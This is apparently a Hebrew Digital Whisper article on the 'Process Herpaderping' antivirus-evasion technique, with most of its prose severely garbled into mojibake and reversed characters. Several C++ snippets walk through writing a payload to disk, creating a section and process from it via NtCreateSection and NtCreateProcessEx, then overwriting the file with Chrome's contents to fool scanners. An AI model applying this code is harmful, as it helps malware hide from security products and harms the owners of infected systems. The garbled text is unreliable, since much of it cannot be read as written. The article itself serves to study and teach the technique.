ˣ˴˧ˮ  ˶ǎƳŀǊǘ ǇƻƛƴǘŜǊ    ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮˣ ,ˣˮˠ˷ˢ ˫ˡˣ˵ˬ˷ ˢ˵ˤˣˮˢ ˪ˡˣˠ˟ ˫˧˸˟ ˨˶˰ˬ˪wŜŀŘCƛƭŜ    ˸˞ ˥˵˧˸˷

-sƘŀƴŘƭŜ ˢ ˪˞ ˣˮ˩ˣ˸ ˸˞ ˞˶˵˸ˣ ˳˟ˣ˵ˢ ˪˷ōǳŦŦŜǊ- : 

auto  payload_bytes  = std :: make_unique<BYTE[]>(payload_size);  

:: ReadFile (payload_file_handle,  payload_bytes. get (),  payload_size,  nullptr ,  

nullptr );  

  !˭ˣ˶˩˧ˤ˟ ˢ˵ˤˣˮˢ ˭˩ˣ˸ ˸˞ ˣˮ˪ ˷˧ ˸˰˩ ,ˢ˪ˣ˰ˬ 

http://www.digitalwhisper.co.il/
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 ˷ ˡ˥ ˳˟ˣ˵ ˸˶˧˴˧ 

ˢ ˸˞ ˣ˸˧˞ ˢ˷˰ˮ ˶˷˞ ˳˟ˣ˵ ˶ˣ˴˧ˮ ˢˤ ˟˪˷˟-IŜǊǇŀŘŜǊǇƛƴƎ  ˸˞ ˣ˧˪˞ ˟ˣ˸˩˪ ˢ˴˶ˮ ,˫ˡˣ˵ˬ ˣˮ˶ˬ˞˷ ˧˲˩ !

  ˢˬ˩ ˶˥˞˪ˣ ,ˢ˵ˤˣˮˢ ˪˷ ˭˩ˣ˸ˢ˧˦ˮ˞ˢ˷ ˧ˡ˩ ,˧˶ˬˠ˪ ˶˥˞ ˭˩ˣ˸˟ ˣ˸ˣ˞ ˢˮ˷ˮ ,˫˧˲˯ˣˮ ˫˧˟˪˷-  ˣ˵˶˯˧ ˫˧˯ˣ˶˧ˣ

 ˪  ˟ˣ˷ ˞˶˵ˮ .ˢ˵ˤˣˮˢ ˸˴˶ˢ ˸˞ ˣ˶˷˞˧ˣ ˧ˬ˧˦˧ˠ˪ ˭˩ˣ˸-/ǊŜŀǘŜCƛƭŜ!  ˸ˣ˞˷˶ˢˢ ˫˰ ˫˰˲ˢ ,D9b9wL/ψw9!5  

-xD9b9wL/ψ²wL¢9 : 

HANDLE herpaderping_file_handle  = :: CreateFileA ( " herpaderp.exe " ,  

GENERIC_READ | GENERIC_WRITE,  0,  nullptr ,  CREATE_ALWAYS,  

FILE_ATTRIBUTE_NORMAL, nullptr );  

 ˨ˣ˸˟ ˞˴ˬˮˢ ˢ˵ˤˣˮˢ ˭˩ˣ˸ ˸˞ ˣ˧˪˞ ˟ˣ˸˩ˮǇŀȅƭƻŀŘψōȅǘŜǎ : 

:: WriteFile (herpaderping_file_handle,  payload_bytes. get (),  payload_size,  

nullptr ,  nullptr );  

 

b¢5[[ CǳƴŎǘƛƻƴǎ 

b¢5[[    ˫˧˩˧˪ˢ˸ ˣ˸˧˞ ˵˷ˬˬˢ ˞ˣˢǳǎŜǊƳƻŘŜπˢ ,˶ˬˣ˪˩ ,˸ˣ˩ˣˬˮ ˸ˣ˞˷˶ˢ ˧˪˰˟ ˫˧˩˧˪ˢ˸) ˫˧-/ǳǊǊŜƴǘ  

tǊƛǾƛƭŜƎŜ [ŜǾŜƭ  ˬ ˪ˣˡˠ ˫ˢ˪˷-л  ,˶ˬ˞ˬ˟ ˫ˡˣ˵ˬ ˣˮ˷ˬ˸˷ˢ ˶˷˞ ˸ˣ˧˴˵ˮˣ˲ˢ .˪ˮ˶˵ˢ ˧˸ˣ˶˧˷˪ ˫˧˷ˠ˧ˮ (

  ˣˬ˩Σ/ǊŜŀǘŜCƛƭŜ! ΣwŜŀŘCƛƭŜ   x-²ǊƛǘŜCƛƭŜ ˧ ˶˵ ,˸˥˧˸˲ ˣˬ˩ ˫˧˸ˣ˶˧˷ˢ ˸˞ ˸ˣ˰˴˟ˬ ˸ˬ˞˟ ˞˪ ,  ˸˟˧˸˩ˣ ,˸˞

˪ ˫˸ˣ˞ ˸ˣ˶˧˟˰ˬˣ ,˱˯ˣˮ ˰ˡ˧ˬˣ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˸ˣ˥˵ˣ˪ ˭ˢ .˪ˮ˶˵ˢ ˸˶ˤ˰˟ ˞˪˞ ,˫˧ˬ˯˵ ˸˶ˤ˰˟ ˫˧˴˟˵-

ƴǘŘƭƭΦŘƭƭ:  

 

  :˶ˣ˵ˬ]κпуртууκǇƻǎǘκŜƴκŎƻƳΦƘŀōǊΥκκƘǘǘǇǎ [ 

˟ ˢˬ˧˞˸ˬˢ ˢ˧˴˵ˮˣ˲ˢ ,˭˩ˬ ˶˥˞˪-ƴǘŘƭƭΦŘƭƭ    ˡˣ˵˲ˣ˞ˢ ˸˶ˤ˰˟ ˪ˮ˶˵ˢ ˪˞ ˢ˯˧ˮ˩ˢ ˸˞ ˢ˷ˣ˰{¸{9b¢9w  -˟

Ȅус  ˡˣ˵˲ˣ˞ˢ ˸˶ˤ˰˟ˣ ,{¸{/![[   ˟-Ȅсп  ˨ˣ˸˟ ˸ˣ˶˧˷ˢ ˪˷ ˯˵ˡˮ˧˞ˢ ˸˞ ˶˦ˬ˶˲˩ ˪˟˵ˬ ˪ˮ˶˵ˢ ,˱˯ˣˮ˟ .

  ˫˷˟ ˢ˪˟˦˟ ˷ˬ˸˷ˬˣ ,˶ˠˣ˞{{5¢  ){ȅǎǘŜƳ {ŜǊǾƛŎŜ 5ŜǎŎǊƛǇǘƻǊ ¢ŀōƭŜ  ˪˷ ˸ˣ˟ˣ˸˩ ˸˶ˬˣ˷ ˶˷˞ (

http://www.digitalwhisper.co.il/
https://habr.com/en/post/485788/


 
 

tǊƻŎŜǎǎ IŜǊǇŀŘŜǊǇƛƴƎ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  тп 
 

ˢ ˸ˣ˧˴˵ˮˣ˲-ǎȅǎŎŀƭƭπ  ˸˶ˤ˰˟ˣ ˢ˸˶ˤ˰˟ˣ ,˫˧  .˸˧˦ˮˣˣ˪˶ˢ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˠ˧˷ˬ ˪ˮ˶˵ˢ ,˯˵ˡˮ˧˞ˢ

 ˢ˦˧˷ˢ ˸ˣ˩ˤ˟ ˫ˠ ˰ˣˡ˧ ˢ˪˟˦ˢ{{5¢ IƻƻƪƛƴƎ . 

˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˟ˣ˶˪-ƴǘŘƭƭΦŘƭƭ    ˡˣ˰˧˸ ˫˧˧˵ ˫˞ ˪ˠˣˠ˟ ˵ˣˡ˟˪ ˨˶˦˴ˮ ˭˩˪ˣ ,˦˲ˣ˯ˣ˶˵˧˧ˬ ˫˰˦ˬ ˧ˬ˷˶ ˡˣ˰˧˸ ˭˧˞

  ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˞ˣˢ ˡ˥˞ ˶ˣ˵ˬ .˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˧˴˵ˮˣ˲˪ ˫˧ˬ˧˧ˣ˯ˬ ˸ˣ˶ˣ˵ˬ˟ ˧ˬ˷˶ ˞˪wŜŀŎǘh{  ˞˧ˢ˷ ,

  ˢ˪˰˲ˢ ˸˩˶˰ˬhǇŜƴ {ƻǳǊŎŜ    ˸˞ ˢ˵˥ˬˢ²ƛƴŘƻǿǎ  ˫˧˶˟˧˧˶ˡˣ ˸ˣˮ˩ˣ˸ ˳˧˶ˢ˪ ˸˪ˠˣ˯ˬ ˸ˣ˧ˢ˪ ˢ˸˶˦ˬˣ ,

˟ˢ ˫ˣ˷ ˞˪˪ ˢ˪˷ .ˢˢˤ ˭˲ˣ˞˟ ˸ˣ˞˶˧ˢ˪ˣ ,˪ˡ 

 ˸ˣ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷b¢5[[ 

  ˸ˣ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˥ˮ˞b¢5[[    ˫˧˶ˡˢˢ ˨ˣ˸ˬ ˫˧˶˧˩ˬ ˣˮ˥ˮ˞˷ ˸ˣ˧˴˵ˮˣ˲˟ ˣˬ˩²ƛƴŘƻǿǎΦƘ  

  ˸ˣ˷˰˪ ˨˶˦˴ˮ ˨˩ ˫˷˪ˣ ,ˡˣ˰ˣ5ȅƴŀƳƛŎ [ƛƴƪŀƎŜ    ˳˟ˣ˵ˢ ˪˞ƴǘŘƭƭΦŘƭƭ    ˪˟˵˪ˣ ˸˧ˬ˞ˮ˧ˡ ˣ˸ˣ˞ ˭ˣ˰˦˪ ˪˧˟˷˟

ˣˣ˪˶ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˸˞  ˸˞ ˭˰˦ˮ .ˣˮ˪ ˸ˣ˧˦ˮƴǘŘƭƭΦŘƭƭ    ˸˶ˤ˰˟[ƻŀŘ[ƛōǊŀǊȅ!  ˸˞ ˪˟˵ˮˣ ,

 ˸˶ˤ˰˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˸ˣ˟ˣ˸˩ˢDŜǘtǊƻŎ!ŘŘǊŜǎǎ : 

HMODULE ntdll_handle  = LoadLibraryA ( " ntdll.dll " );  

FARPROC proc_addr  = GetProcAddress (ntdll_handle,  " <Proc_Name>" );  

ˢ  ˸ˣ˧˴˵ˮˣ˲  ˪˩  ˸˞  ,˶ˬ˞ˬˢ  ˨˷ˬˢ˟-ƴǘŘƭƭ    ˫˷˟  ˢ˵˪˥ˬ  ˨ˣ˸˟  ˫˧˷˞  ,˭ˢ˟  ˷ˬ˸˷ˢ˪  ˨˶˦˴ˮ˷

bǘŘƭƭCǳƴŎǘƛƻƴǎ .ˣ˪˪ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˸˞ ˷˞˶ˬ ˸˧ˬ˞ˮ˧ˡ ˢˮ˰˦ ˶˷˞ , 

˧˦ˮ˞ ˡ˴˧˩- ˫ ˧ˡ˟ˣ˰ ˫˧˯ˣ˶˧ˣ 

˧˦ˮ˞- :˫˧˩˶ˡ ˶˲˯ˬ˟ ˫˧ˡ˟ˣ˰ ˫˧˧ˮ˶ˡˣˬ ˫˧˯ˣ˶˧ˣ 

¶  ˸ ˣˬ˧˸˥  π   ˸ ˣ˶˟˥   ˧ ˦ˮ˞ˢ-  ˪˷ ˸ˣˬ˧˸˥ ˫˧˪˧˩ˬˢ ˫˧˧˵ˮ˰ ˫˧ˮˣ˸ˮ ˧˶ˠ˞ˬ˟ ˸ˣ˵˧ˤ˥ˬ ˫˧˯ˣ˶˧ˣ˸ˣ˵ˤˣˮ  .

ˢˬ˧˸˥    ˫˧˸˟ ˱˴˶ ˞˧ˢ˳ˣ˲ˮˢ    ˪˷ ˡ˥˞ ˠˣ˯˪ s ˵ˤˣˮ  , ˶ ˷˞   ˞ ˪  ˰˧˲ˣˬ   ˫ ˧˴˟˵˟   ˫ ˧˧˵ˮ    .˪˪˩˶˷˲˞    ˱˶˴˪

 ˰ ˡ˧ˬ   ˱ ˯ˣˮ   ˶ ˷˞   ˪ ˣ˩˧  ˪˧˰ˣˢ˪  ˸ˣˬ˧˸˥˪  , x ˬ˩  -smanifest    ˪˷ s ˵ˤˣˮˢ  ,˪ˡˣˠˢ   s ˪˷  , ˸ ˣˤˣ˶˥ˬˢ  

 ˧ ˶˞ˮ˧˟˟˷  ˢ˪˷  ,ˡˣ˰ˣ  . s ˡ˧ˬ˟    ˢ˴˶ˢ ˳˟ˣ˵˪ˣ ˫ ˧˧ˣ˯ˬ    ˷˧ˢˬ˧˸˥  ˢˢˤ   ˳ ˟ˣ˵˪    ˫˧˟˷˥ˬ˟ ˞˴ˬˮ˷ ˢ˴˶ˢ

 ˶ˣ˸˟ ˭ˬˣ˯ˣ ˫˧˶˥˞ˢ˵ˤˣˮ ,˧˦ˮ˞ˢ- ˯ˣ˶˧ˣ˫˯ˣ˥  ˣ˸ˣ˞ . 

¶ ˧ˣˢ˧ˤ    ˸ˣˠˢˮ˸ˢπ  ˧˦ˮ˞-  ˶˥˞ ˫˧˟˵ˣ˰ ˫˧˯ˣ˶˧ˣ˪˩  ˫˧˩˧˪ˢ˸ˢ  .˰˵˶˟ ˫˧˴˶ˢ  ˫˧˩˧˪ˢ˸    ˫˧ˠˢˮ˸ˬ ˶˷˞

˟˵ ˢ˟˶ˢ ˥ˣ˸˲˪ ,ˣ˧˪˞ ˭˧ˤ˞ˢ˪ˣ ˦˶ˣ˲ ˥ˣ˸˲˪ ˣˬ˩ ,ˢˡ˧˷˥ˬ ˢ˶ˣ˴˟  ˫˸˧˶ˣˠ˪˞ ˰˴˟˪ ,˫˧˴ ˧ ˲˞˶ˠˣ˦˲˧˶˵  

  ,˫ˢ˪˷ ˭˩ˣ˸ˢ ˪˰ ˣˢ˷˪˩˟ˣ˸˩˪ˣ  ˪˞  ˣ˸ˣ˞  ˳˟ˣ˵ˢ    ,ˢ˶ˤ˥˟˸ˣ˧ˣ˪˧˰˲  ˫˰  -sRegistry  ,ˡˣ˰ˣ    ˸ˣ˧ˣˠˢˮ˸ˢ

 ,˸ˣˡˣ˷˥˫˧ˠ˶ˢˮ  ˭˲ˣ˞˟˧ˡ˧˧ˬ  ˧˦ˮ˞ˢ ˧ˡ˧ ˪˰ ˫˧˪˲ˣ˦ˬˣ- .˯ˣ˶˧ˣ 

¶   ˢ˲ ˵˪˥ ˸ˣ˥˵ˣ˪ ˫ˠ ˸ˣ˧˪ˬˣˮ˞π    ˢ˷ˣ˰ ˧ˢ˷˪˩ ˢ˵ˤˣˮ ˫˞ ,˞ˬˠˣˡ˪ICMP Tunneling   s ˶ˣ˟˰˸ˢ ˪˩˪  

ˢ ˪ˣˬ ˢ˪˷-C&C ˧ ˦ˮ˞ˢ ,-ˢ ˸ˣ˰ˡˣˢ ˸ˣˬ˩˟ ˢ˧˪ˬˣˮ˞˪ ˟˪ ˫˧˷˪ ˫˧˪ˣ˩˧ ˫˧˯ˣ˶˧ˣ-ICMP    ,ˢ˩ ˡ˰ ˣ˥˪˷ˮ˷

 .˭˪ˡˣˠ˟ ˭˟ˣˬ˩ˣ 
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tǊƻŎŜǎǎ IŜǊǇŀŘŜǊǇƛƴƎ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  тр 
 

¶ Reputation  π   ˧ ˦ˮ˞ˢ ˸ˣˮ˩ˣ˸-  ˸˶ˤ˰˟) ˸ˣ˟˵ˣ˰ ˯ˣ˶˧ˣMachine Learning  ˣˡ˧˶ˣˢ ˫˧˟˷˥ˬ ˢˬ˩ ˶˥˞ (

  ˢ˶˦ˬ ˣˤ˧˞˪ ,ˢ˲ˣ˵˸ ˶˟˩ ˣ˟ ˫˧˷ˬ˸˷ˬ ˢˬ˩ ,ˣ˸ˣ˞ ˣˡ˧˶ˣˢ ˫ˢ ˢ˲˧˞ˬ ,˫˪ˣ˰ˢ ˪˩ˬ ˵˶˯ˮˢ ˳˟ˣ˵ˢ ˸˞

 ˳˟ˣ˵ˢ ˣ˸ˣ˞˪ ˣ˞˧˟˧ ˫˧˟ˣ˦ ˫˧ˮˣ˸ˮˣ ˫˧ˢˣ˟ˠ ˫˧˶˲˯ˬ .ˡˣ˰ˣ ,ˣ˟ ˫˧˷ˬ˸˷ˬ ˫ˢReputation . 

tǎ{Ŝǘ/ǊŜŀǘŜtǊƻŎŜǎǎbƻǘƛŦȅwƻǳǘƛƴŜ9Ȅ 

 ˧ ˦ˮ˞˷ ˪˧˟˷˟-˟˵ ˵ˣ˶˯˪ ˣ˪˩ˣ˧ ˫˧˯ˣ˶˧ˣ s  ˧ˡ˧ ˪˰ ˫˸ˮ˰˦ˢ ˸˰ˢ ˢ˴˶ˢ ˧˴-[ƻŀŘŜǊ    ˫ˢ ,˭ˣ˯˞ ˰ˣˮˬ˪ˣ

  ˸˞ ˫ˢ˪ ˶˧˟˰ˢ˪ˣ ,ˣ˸˴˶ˢ ˧ˮ˲˪ ˷ˡ˥ ˨˧˪ˢ˸ ˪˩ ˧˟ˠ˪ ˢ˞˶˸ˢ ˪˟˵˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˫˧˷˵˟ˬ

 .ˣ˸ˣ˞ ˠˣ˶ˢ˪ ˣ˞ ˳ˣ˶˪ ˣ˪ ˸˸˪ ˫˞ ˢ˦˪˥ˢˢ 

  ˢ˧˴˵ˮˣ˲ˢ ˸ˬ˧˧˵ ,˨˩ ˫˷˪tǎ{Ŝǘ/ǊŜŀǘŜtǊƻŎŜǎǎbƻǘƛŦȅwƻǳǘƛƴŜ9Ȅ    ˫ˣ˶ˠ˪ ˫˧˪ˣ˩˧ ˫˧˶˟˧˧˶ˡ ˢ˸˶ˤ˰˟˷

  ˸˧˧˴˵ˮˣ˲˪ŎŀƭƭōŀŎƪ    ,ˢ˪˷ ˢˬ˧˷˶˪ ˢ˸ˣ˞ ˱˧˯ˣ˸ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ .˶ˠ˯ˮ ˣ˞ ˶˴ˣˮ ˨˧˪ˢ˸˷ ˰ˠ˶˟ ˞˶˵˧ˢ˪

 ˨ ˧˪ˢ˸ˢ ˣ˸ˣ˞ ˸˞ ˫˧ˢˤˬˢ ˫˧˶˦ˬ˶˲ ˫˰ ˡ˥˧ ˢ˪ ˞˶˵˸ˣ  .˶ˠ˯ˮ ˣ˞ ˶˴ˣˮ˷ 

 ˷  ˫˧˟˷ˣ˥ ˥˦˟ ˫˸˞-²ƛƴŘƻǿǎ    ,˰˸˲ˢ ˢ˟˶ˬ˪ .˶˴ˣˮ ˨˧˪ˢ˸ˢ ˪˷ ˦˵˧˧˟ˣ˞ˢ˷ ˰ˠ˶˟ ˢ˧˴˵ˮˣ˲˪ ˞˶˵˸

²ƛƴŘƻǿǎ  s ˷ ˰ˠ˶˟ ˵˶ ˢ˪ ˞˶˵˸-¢ƘǊŜŀŘ  ?˟˷ˣ˥ ˧ˮ˞˷ ˢˬ ˪˰ ˫˧˟˷ˣ˥ .˶˴ˣˮ ˨˧˪ˢ˸ˢ ˪˷ ˧ˮˣ˷˞˶ˢ 

 

 ˨ ˧˪ˢ˸ˢ ˸˶˧˴˧ 

  ˶ˣ˴˧˪ ˨˶˦˴ˮ ,˨˧˪ˢ˸ˢ ˸˶˧˴˧ ˪˧˟˷˟{ŜŎǘƛƻƴ    ˠˣ˯ˬLa!D9    ˭˩ˣ˸ ˸˞ ˷˧ ˣ˩ˣ˸˟˷ ,ˣˮ˶˴˧˷ ˳˟ˣ˵ˢ ˶ˣ˟˰

 :ˢ˵ˤˣˮˢ 

HANDLE section_handle  = nullptr ;  

NtdllFunctions :: _NtCreateSection( &section_handle,  SECTION_ALL_ACCESS,  

     nullptr ,  nullptr ,  PAGE_READONLY,  SEC_IMAGE,  herpaderping_file_handle);  

ˢ ˸˞ ˣ˪ ˞˧˟ˮˣ ,˨˧˪ˢ˸ˢ ˦˵˧˧˟ˣ˞ ˸˞ ˶ˣ˴˧ˮ-ƘŀƴŘƭŜ  ˪-{ŜŎǘƛƻƴ  :ˣˮ˶˴˧˷ 

HANDLE process_handle  = nullptr ;  

NtdllFunctions :: _NtCreateProcessEx( &process_handle,  PROCESS_ALL_ACCESS,  

nullptr ,  GetCurrentProcess (),  PROCESS_CREATE_FLAGS_INHERIT_HANDLES, 

section_handle,  nullptr ,  nullptr ,  FALSE);  

 s  ˫˰ ˷ˡ˥ ˨˧˪ˢ˸ ˶ˣ˴˧˪ ˢˤ ˫˧˷ˣ˰ ˫˴˰˟ ˣˮ˥ˮ˞˷ ˢˬ-{ŜŎǘƛƻƴ    ˣˬ˩ ,˫˧˲˯ˣˮ ˫˧˟˧˩˶ˬ ˞˪˪ ˨˞ ,ˢ˵ˤˣˮˢ ˪˷

¢ƘǊŜŀŘ    ˭˧˧ˡ˰ ˭˧˞ ˨˧˪ˢ˸˟˷ ˭ˣˣ˧˩ˬ .˫˧˶˦ˬ˶˲ˣ¢ƘǊŜŀŘπˢ ˪˩ ,˫˧-ŎŀƭƭōŀŎƪπ  ˫˧  ˪˰ ˣ˞˶˵˧ ˞˪ ˭˧˧ˡ˰ ˫˧ˬˣ˷˶ˢ

 !ˢ˵ˤˣˮˢ ˪˷ ˳˟ˣ˵ˢ ˸˞ ˸ˣˮ˷˪ ˸ˣˮˬˡˤˢ ˣˮ˪ ˭˸ˣˮ˷ ˢˬ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˧ˡ˧ 

ˣ˶˲   ˲ ˧˦ :    ˸ˣˮˣ˶˸˧ˢ ˭ˢˬˣ ,ˣ˸˧˞ ˸ˣ˷˰˪ ˶˷˲˞ ˢˬ ˣ˟˷˥˸ ,ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˧˰˧˟˶ˢ ˶˦ˬ˶˲˪ ˟˪ ˣˬ˧˷

 ˸ˣ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪˟ƴǘŘƭƭ . 

  

http://www.digitalwhisper.co.il/
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˳˟ˣ˵ˢ ˭˩ˣ˸ ˸˲˪˥ˢ 

 s  ˸˞ ˣˮ˶ˠ˯ ˞˪ ˡˣ˰˷ ˭ˣˣ˧˩ˬ-ƘŀƴŘƭŜ    .ˣ˸˧˞ ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˸ˣ˪ˣ˰˲ ˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ˭˧˧ˡ˰ ˣˮ˥ˮ˞ ,˳˟ˣ˵ˢ ˪˷

˧˦ˮ˞ˢ ˧ˡ˧ ˪˰ ˢˢˣˤˬˣ ˸˧ˬ˧˦˧ˠ˪ ˢˮ˩ˣ˸ ˪˩˟ ˞˧ˢ ˢ˟ˣ˷˸ˢ ?˭˩ˣ˸ˢ ˸˞ ˱˧˪˥ˮ ˢˬ˟ ,˞˧ˢ ˣ˧˷˩˰ ˢ˪˞˷ˢ-

  ˣˬ˩ ,ˢ˥ˣ˦˟ˣ ˢ˧˧˵ˮ˩ ˫˧˯ˣ˶˧ˣDƻƻƎƭŜ /ƘǊƻƳŜ . 

 ˟  ˶˥˟ˮ ,˞ˬˠˣˡˢ ˫˷˪-DƻƻƎƭŜ /ƘǊƻƳŜ ˸˞ ˞˶˵ˮˣ ˣ˸ˣ˞ ˥˸˲ˮ . :ˣˮ˩ˣ˸ 

HANDLE chrome_file_handle  = CreateFileA ( " <Chrome_Path>" , GENERIC_READ,  

0,  nullptr ,  OPEN_EXISTING,  FILE_ATTRIBUTE_NORMAL, nullptr );  

auto  chrome_file_size  = GetFileSize (chrome_file_handle,  nullptr );  

auto  chrome_file_content  = std :: make_unique<BYTE[]>(chrome_file_size);  

:: ReadFile (chrome_file_handle,  chrome_file_content. get (),  chrome_file_size,  

nullptr ,  nullptr );  

ˢ ,˫ˡˣ˵ˬ ˳˟ˣ˵ˢ ˪˞ ˢ˟˧˸˩ ˣˮ˰˴˧˟˷ ˭ˣˣ˧˩ˬ-CƛƭŜ tƻƛƴǘŜǊ  ,ˣ˪˧˥˸˧ ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˸ˣ˪ˣ˰˲ ˣˮˬˬ˷ ˰˧˟˴ˬ ,

  ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˳˟ˣ˵ˢ ˸˪˥˸ˢ˪ ˣ˸ˣ˞ ˪˥˸˞˪ ˢ˴˶ˮ .ˣ˪˷ ˱ˣ˯ˢ ˪˰ ˰˧˟˴ˬ ˰ˠ˶˩{ŜǘCƛƭŜtƻƛƴǘŜǊ  ˤ˞ˣ ,

  ˪˷ ˧˶˞ˮ˧˟ˢ ˪ˡˣˠ˷ ˫˧˥˧ˮˬ ˣˮ˥ˮ˞) ˣ˪˷ ˫˧˸˟ˢ ˸˞ ˣ˧˪˞ ˟ˣ˸˩˪/ƘǊƻƳŜ    ˞˪ ˭˩˪ˣ ,ˢ˵ˤˣˮˢˬ ˪ˣˡˠ ˶˸ˣ˧

˨˶˦˴ˮˣ ,˶˸ˣ˧ ˭˦˵ ˣ˪ˡˣˠ ˣ˟˷ ˢ˶˵ˬ˟ ˪˲˦ˮ   :(ˣ˶˸ˣˮ˷ ˫˧˸˟ˢ ˸˞ ˸ˣ˵ˮ˪ 

:: SetFilePointer (herpaderping_file_handle,  0,  nullptr ,  FILE_BEGIN);  

:: WriteFile (herpaderping_file_handle,  chrome_file_content. get (),  

chrome_file_size, nullptr ,  nullptr );  
 ˨˧˪ˢ˸ˢ ˣˮˬˬ˷ ˳˟ˣ˵˟ ˧˶ˬˠ˪ ˢˮˣ˷ ˭˩ˣ˸ ˣˮ˪ ˷˧ ˣ˧˷˩˰ ,ˢ˪ˣ˰ˬ !˶˴ˣˮ 

 

 ˨ ˧˪ˢ˸˟ ˫˧ˮˣ˵˧˸ 

 ˣ˪ ˭˧˞ ,˶ˬˣ˪˩ ,"˵˧˶" ˰ˠ˶˩ ˣˮ˶˴˧˷ ˨˧˪ˢ˸ˢ ˪˷ ˦˵˧˧˟ˣ˞ˢ ,ˣˮ˶ˬ˞˷ ˧˲˩¢ƘǊŜŀŘ   .˫˧˶˦ˬ˶˲ ˣ˪ ˭˧˞ˣ ˧˸˪˥˸ˢ

 .ˣ˪˧˟˷˟ ˡ˥ˣ˧ˬ˟ ˫˸ˣ˞ ˶ˣ˴˧˪ ˣˮ˧˪˰ ,ˢ˥˪˴ˢ˟ ˳ˣ˶˪ ˣ˪ ˫ˣ˶ˠ˪ ˧ˡ˩ 

 ˫ ˧˶˦ˬ˶˲ˢ ˸˶˧˴˧ 

  ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˨˶˦˴ˮ ,˫˧˶˦ˬ˶˲ˢ ˸˞ ˶ˣ˴˧˪ ˪˧˟˷˟wǘƭ/ǊŜŀǘŜtǊƻŎŜǎǎtŀǊŀƳŜǘŜǊǎ9Ȅ    ˫˧˶˦ˬ˶˲ˢ ˫˰

  ˶˸˞ˢˬ ˣ˥˵˪ˮ ˷ˬ˸˷˞ ˫ˢ˟ ˫˧ˮ˟ˬˢ ˪˷ ˫˧˷ˣˬ˧ˬˢ ˪˩) ˫˧˦ˮˣˣ˪˶ˢtǊƻƧŜŎǘ ±ŜǊƎƛƭƛǳǎ  ˳˪ˬˣˬ ˡˣ˞ˬ ˶˸˞ ,

 ˪˷ ˫˧ˡ˰ˣ˸ˬ ˞˪ ˫˧ˮ˟ˬ˪²ƛƴŘƻǿǎ :( 

PRTL_USER_PROCESS_PARAMETERS process_parameters  = nullptr ;  

UNICODE_STRING image_path_name;  

UNICODE_STRING command_line;  

UNICODE_STRING title;  

UNICODE_STRING desktop_info;  

PROCESS_BASIC_INFORMATION current_process_pbi;  

PEB64 current_process_peb;  

http://www.digitalwhisper.co.il/
https://www.vergiliusproject.com/
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 :ˡ˥˞ ˡ˥˞ ˶˧˟˯ˮ ˣ˞ˣ˟ .˫˧ˮˣ˷ ˫˧ˠˣ˯ˬ ˫˧ˮ˸˷ˬ ˢ˟˶ˢ ˭˞˩ ˷˧ 

¶ process_parameters π ˪ ˫˧˶˦ˬ˶˲ˢ ˪˷ ˢˮ˟ˬˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩˧˷ ˢˮ˸˷ˬˢ˨˧˪ˢ˸ . 

¶ image_path_name π  ˸ˤˣ˶˥ˬUnicode   s  ˪˷ ˞˪ˬˢ ˫ˣ˵˧ˬˢ ˸˞ ˢ˪˧˩ˬ ˶˷˞-Image . 

¶ command_line π  ˪  ˫˧ˮ˸ˣˮ ˣˮ˥ˮ˞˷ ˫˧˶˦ˬ˶˲ˢ-Image  ˟  ˣ˸˴˶ˢ ˧ˮ˲˪ ˫˧˧ˣ˯ˬ-CLI   :˪˷ˬ˪ .

image.exe foo bar baz 

¶ ˢ˷ ˠˣˢˮ-Loader    ˢˬ ˫ˠ ˢˤ ,˭˩˪ˣ ,˳˟ˣ˵ˢ ˪˷ ˞˪ˬˢ ˫ˣ˵˧ˬˢ ˸˞ ˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ˩ ˶˧˟˰˧ ˡ˧ˬ˸

 .˨˷ˬˢ˟ ˢ˷˰ˮ ˣˮ˥ˮ˞˷ 

¶ title π  s  ˪˷ ˭ˣ˪˥˟ ˸˶˸ˣ˩ˢ ˸˞ ˢ˞˶ˮ ˪˪˩ ˨˶ˡ˟ .˨˧˪ˢ˸ˢ ˪˷ ˸˶˸ˣ˩ˢ-CLI ˸ˢ ˪˷ .˸˧ˮ˩ˣ 

¶ desktop_info π  s-Window Station  .˳ˣ˶˧ ˨˧˪ˢ˸ˢ ˣ˧˪˰ 

¶ current_process_pbi π    ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˠ˧˷ˢ˪ ˢ˴˶ˮ ˣˮˬˬˣ ,˧˥˩ˣˮˢ ˨˧˪ˢ˸ˢ ˪˰ ˫˧˧ˣ˯ˬ ˰ˡ˧ˬ ˪˧˩˧

-sPEB  ˪˰ ˶˟˯ˢ .PEB  .˨˷ˬˢ˟ ˞ˣ˟˧ ˣ˸ˣ˞ ˨˶˦˴ˮ ˢˬ˪ˣ 

¶ current_process_peb π ˢ ˸˞ ˪˧˩˧˷ ˢˮ˸˷ˬ-PEB  .˧˥˩ˣˮˢ ˨˧˪ˢ˸ˢ ˪˷ 
